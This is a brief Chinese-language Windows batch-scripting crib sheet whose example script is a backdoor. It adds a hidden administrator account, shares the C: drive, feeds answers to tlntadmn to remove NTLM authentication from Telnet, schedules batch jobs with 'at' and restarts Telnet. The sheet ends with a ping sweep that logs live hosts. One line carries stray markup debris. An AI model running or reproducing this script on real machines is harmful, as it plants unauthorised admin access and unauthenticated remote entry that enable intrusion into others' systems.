@echo
变量 %0-9, %0为自身
if [not] "参数"="字符串" command if "%1"="a" format a:
goto goto end :end
choice choice /C YNC /M
for for %%c in (*.bat *.txt) do type %%c
例:
@echo off
@net user xx xx /add
@net localgroup administrators xx /add
@net share c$=c
@echo 3>c:\winnt\system32\xx.txt
@echo 8y>>c:\winnt\system32\xx.txt
@echo 8y>>c:\winnt\system32\xx.txt
@tlntadmn<C:\winnt\system32\xx.txt DIV="" 通过重定去掉NTLM验证<="">
@echo at 11:00 c:\winnt\system32\log.bat >c:\winnt\system32\xx.bat
@echo at 23:00 c:\winnt\system32\log.bat >c:\winnt\system32\xx.bat
@ at 11:05 c:\winnt\system32\xx.bat
@ at 23:05 c:\winnt\system32\xx.bat
@net stop telnet
@net start telnet
@exit
@for /l %%i in (%4,1,%5) do ping %1.%2.%3.%%i -n 1| find "Reply">>aip.txt